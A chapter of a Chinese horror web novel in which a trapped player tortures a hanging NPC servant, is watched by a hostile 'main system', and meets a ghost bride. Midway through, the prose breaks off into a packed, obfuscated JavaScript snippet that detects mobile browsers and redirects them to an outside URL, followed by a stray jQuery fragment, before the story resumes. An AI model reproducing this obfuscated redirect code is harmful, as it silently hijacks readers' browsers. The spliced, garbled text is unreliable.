106. 不按套路出牌

作品:《我靠负面情绪操纵副本走向

    说玩“活物”,迟大爷还真玩了。


    仆从撕心裂肺的惨叫,几乎要将这幢阴森老宅的屋顶掀翻。被五花大绑倒吊着的仆从,此刻像个无助的提线木偶,在空中微微晃荡。他脸上刚被眉笔涂抹出的滑稽涂鸦还未干透,冰冷的匕首便已抵上皮肤,精准地沿着那黑色线条,开始一丝不苟地“雕刻”。


    可能连仆从也没想过刚传送过来的“新郎”会是个如此不按套路出牌的家伙。


    他们这个副本是主系统专门留下来惩罚那些“不顺心”、“不顺眼”的玩家的。


    基本上来这地方的十个有九个死还有一个疯的。


    玩家在副本里本就处于浑身紧绷的状态,当完成一个副本时又被拉进另一个,且所有保命的东西都被封锁,任谁都会乱了阵脚逐步走向崩溃。


    在主系统的“惩罚副本”里,没有规则,没有任务,也没有时间限制,只有无尽的杀戮和绝望。


    迟翻当然知道主系统想要什么。它要他在绝望中癫狂,在无助中死去。一股冰冷的荒谬感从他心底最深处翻涌上来,夹杂着对过去那个天真自己的尖锐讽刺。


    我怎么会以为……我不去招惹它,它就会放过我?


    是这十七年吃的地沟油太多,把脑子也吃的腌透锈坏了吗?


    匕首的锋刃在仆从脸颊上划开一道细长的血线,鲜血顺着倒垂的姿势,一滴滴砸落在下方陈旧的地板上,绽开一朵朵暗红的花。迟翻的眼神却平静得可怕,那里面没有虐杀的兴奋,也没有恐惧的波澜,只有一种近乎冷酷的专注,仿佛他正在进行的不是一场血腥的刑罚,而是一次必须完成的作品。


    仆从的惨叫渐渐变成了含糊的呜咽,涕泪横流。迟翻却凑近了些,声音压得很低,像在分享一个秘密,又像是在自言自语:


    “你说,设计你这个‘角色’的时候,它有没有给你设定‘疼痛’的上限?还是说……你其实也感觉得到‘绝望’?”


    他的话,不知是在问眼前这个NPC,还是在问那高高在上、冰冷无情的主系统。


    屋内的烛火猛地摇曳了一下,将墙上扭曲的影子拉得更长。就在这时,迟翻眼角的余光瞥见,房间另一头阴朝黑暗的角落里,似乎……缓缓浮现出了第三道模糊的影子。


    它静静地站在那里,仿佛已观看了许久。


    空气骤然凝固。倒吊的仆从仿佛感应到了什么,连呜咽都停止了,只剩下恐惧的窒息。


    迟翻敏锐地捕捉到了空气中那股异样的波动。


    角落的黑影静静伫立,沉默得如同这宅邸本身的一部分,却散发着比倒吊的仆从更为阴冷的气息。


    迟翻想,是个比这蠢货更高级的NPC?还是……这副本里某种更“本源”的东西?


    他眼神微凝,尝试召出系统面板,回应他的却只有一片死寂。


    蚀骨扇、老林他们被彻底隔绝,连技能也如同沉入深海的石头,激不起半点涟漪。


    主系统这次是铁了心要把他困死在这绝境里。


    迟翻的目光重新落回那涕泪交加的仆从上,这人精神早已崩溃,如同一滩烂泥,失去了利用的价值。他几不可察地撇了撇嘴,露出了遗憾的表情。


    可惜了。


    但就在他转开视线,准备要将角落的黑影彻底无视的刹那——


    “嘶啦……”


    一声轻微却尖锐的刮擦声,突兀地从角落方向传来。


    那不是物理上的声音,更像是直接刮擦在灵魂表层。黑影的轮廓骤然扭曲膨胀了一瞬,散发出如有实质的暴怒。


    它被无视了。


    他敢无视它?


    命都握在它手里了,蝼蚁般的玩家无视它?!


    他以为他是谁?


    一瞬间主系统的记忆骤然回溯至多年前。


    明明那家伙比自己“晚出生”,却总是副高高在上的样子。


    那时它崇拜的祂在那家伙眼里却连个人类都比不上。


    那该死的家伙当时说的什么?


    主系统的耳边,那轻蔑的声音挥之不去。


    “那是你的神,不是我的,祂对于我来说只是一个有着自我感动妄想的傻子。”


    妄想。


    傻子。


    它怎么敢的?


    它怎么敢这么评判祂?!


    那是神,那是高维的永不可消散的神!


    如今迟翻那张欠揍的脸与那抹身影渐渐重合,主系统的“计算部门”窘机了一瞬。


    这个叫迟翻的玩家和它太像了。


    可……那是不可能的。


    但他的声音和那该死的家伙一模一样。


    可……是祂亲手抹杀了它啊。


    很快的,脑中产生的一丝的怀疑在祂面前烟消云散。


    祂的实力毋庸置疑,当年主系统可是亲眼看见那家伙的意识被祂碾散。


    所以不具备存活的可能。


    主系统冷静了下来,它好整以暇地看着迟翻,冷笑一声,随即黑影散开。


    虽然它很想亲手赋予这个不知天高地厚的玩家死亡。


    但留着被慢慢折磨不是更好?主系统就不信,迟翻能安然无恙地逃离这里。


    黑影如潮水般自角落褪去,连同那股砭人骨髓的恶意也一同抽离,只留下烛火一阵剧烈摇曳后归于平静的昏黄。


    迟翻感受到那躲在暗处的黑影离开,不免冷呵一声。


    他脑中第一次浮现出“小丑”和“胆小鬼”两个字。


    虽然迟翻也不知道为什么。


    如今房间内,只剩下倒吊仆从压抑的抽噎和绳索轻微的吱呀声。


    迟翻指尖的眉笔停止了转动。他并未放松,反而将感官提升到了极致。


    “嗒……嗒……嗒……”


    轻盈而规律的脚步声,自门外走廊由远及近。不是仆从那种慌乱或沉重的步子,这脚步声带着一种奇特的韵律,每一步的间隔都精准得如同丈量过,踩在老旧地板上,发出空洞而清晰的回响。


    倒吊的仆从像是听到了世上最美妙的脚步,连抽噎声都消散了,取而代之的是一种狗仗人势靠山来了的得瑟熊样。


    迟翻被他这副样子给逗笑了。


    而正好脚步声在门外停住了。


    迟翻看向那扇紧闭的木门。没有敲门声,没有笑声,只有一片凝滞的寂静。


    门缝底下,缓缓渗入一抹刺目的红。不是鲜血的暗红,而是婚嫁喜服那般正红、浓烈到近乎灼眼的红,像一道蔓延的血线。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108220|188978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吱呀——”


    门被从外面缓缓推开了。


    首先映入眼帘的,是一双穿着精致红色绣鞋的小脚,鞋尖缀着的珍珠在昏光下泛着冷泽。接着,是层层叠叠、厚重如血的嫁衣裙摆,金线绣出的鸾凤图案随着她的移动微微波动,仿佛活了过来。最后,才是她被一方同样鲜红的盖头完全遮掩住的面容。


    迟翻看到这副场景,他的第一反应是原来新娘也要盖盖头啊。


    不得不说脑回路够清奇........


    此时女人静立在门口,身姿窈窕,却透着一种非人的僵硬。宽大的衣袖垂落,露出一双十指纤纤涂着鲜红蔻丹的手,苍白得没有一丝血色,与那身红装形成诡谲的对比。


    迟翻能感觉到,盖头之下,有一道“视线”落在了自己身上。那目光不像黑影那般暴戾直接,却更加粘稠、幽深,带着一种审视物品般的冰冷。


    她没有说话,也没有进一步的行动,只是那样“看”着。


    空气仿佛变成了胶质,连时间的流逝都变得粘滞。


    这时,那仆从开口了。


    “小姐,你看先生,他不好好等着洞房,却差点把房子给毁了!”仆从哭诉着,他印着乌龟王八的脸上尽显委屈,甚至还挤出两滴泪。


    啧,草率了。


    早知道把这鬼嘴封上了。


    而鬼新娘在听到仆从的“控诉”时,几不可察地顿了一下。她来回扫视了眼屋内,……并没有夸大厥词,是真的想要拆了这房子。。


    鬼新娘涂着蔻丹的指尖,微微蜷缩了一瞬。


    然后,她动了。


    没有预兆地,她朝着迟翻的方向,极其缓慢地,抬起了那只苍白的手。手臂伸得笔直,指尖正对着他,像是在发出一个无声的邀请,又像是一种不容拒绝的指令。


    红盖头无风自动,轻轻晃了晃。


    她在等他过去。


    她想让他掀盖头。


    迟翻的视线掠过她伸出的手,扫过她身后空荡昏暗的走廊,最后落回那方纹丝不动的红盖头上。他眼底深处,一丝冰冷的锐光掠过,随即又被更深的平静覆盖。


    他没有立刻动作,只是微微偏了偏头,仿佛在认真考虑这个“邀请”。几秒后,他才轻轻吐了口气,像是做出了某个决定。


    然后,在鬼新娘无声的“注视”和仆从兴奋恶意的目光中,迟翻抬步,缓缓走过去。


    待少年停下脚步,在距离鬼新娘伸手可及又稍远半步的位置站定。他没有去碰那只手,反而微微倾身,用一种近乎研究古董商打量货品的目光,仔细端详起那方红盖头来。


    盖头上绣着繁复的鸳鸯戏水图案,金线银线交织,在烛光下流光溢彩,煞是精致。只是那红色太正、太沉,透着一股子陈年的阴气。


    而接下让身后的仆从大跌眼睛的一幕发生了——


    只见迟翻将之前自己头上戴的盖头拿出来,随即盖在自己的头上。


    仆从:“……”


    鬼新娘:“……”


    很显然两鬼大脑都窘机了。。


    而少年羞怯带着点期待的嗓音自盖头后响起。


    “从轿子上下来,一路上都是女礼,怎么着也算我入赘吧?所以……是你该来掀我盖头哦~”